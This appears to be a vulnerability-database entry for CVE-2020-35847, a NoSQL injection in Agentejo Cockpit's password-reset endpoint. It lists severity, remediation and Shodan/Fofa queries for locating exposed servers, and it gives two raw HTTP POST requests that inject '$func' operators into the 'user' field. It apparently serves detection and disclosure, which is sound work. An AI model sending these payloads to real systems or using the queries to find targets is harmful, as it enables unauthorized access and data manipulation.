| Title | Agentejo Cockpit <0.11.2 - NoSQL Injection |
|---|---|
| Author | dwisiswant0 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary NoSQL queries, potentially leading to unauthorized access, data manipulation, or denial of service. |
| Remediation | Upgrade Agentejo Cockpit to version 0.11.2 or later to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.9391 |
| CVE ID | CVE-2020-35847 |
| CWE ID | CWE-89 |
| Shodan Query | http.favicon.hash:688609340http.html:"cockpit" |
| Fofa Query | icon_hash=688609340body="cockpit" |
| Tags | cve cve2020 nosqli sqli cockpit injection agentejo vuln |
Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php resetpassword function of the Auth controller.
POST /auth/requestreset HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.9 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 47
Content-Type: application/json
Accept-Encoding: gzip
{
"user": {
"$func": "var_dump"
}
}
POST /auth/requestreset HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_6_6; de) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.2 Safari/605.1.15
Connection: close
Content-Length: 59
Content-Type: application/json
Accept-Encoding: gzip
{
"user": {
"$func": "nonexistent_function"
}
}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-35847.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-35847.pcap
N/AN/A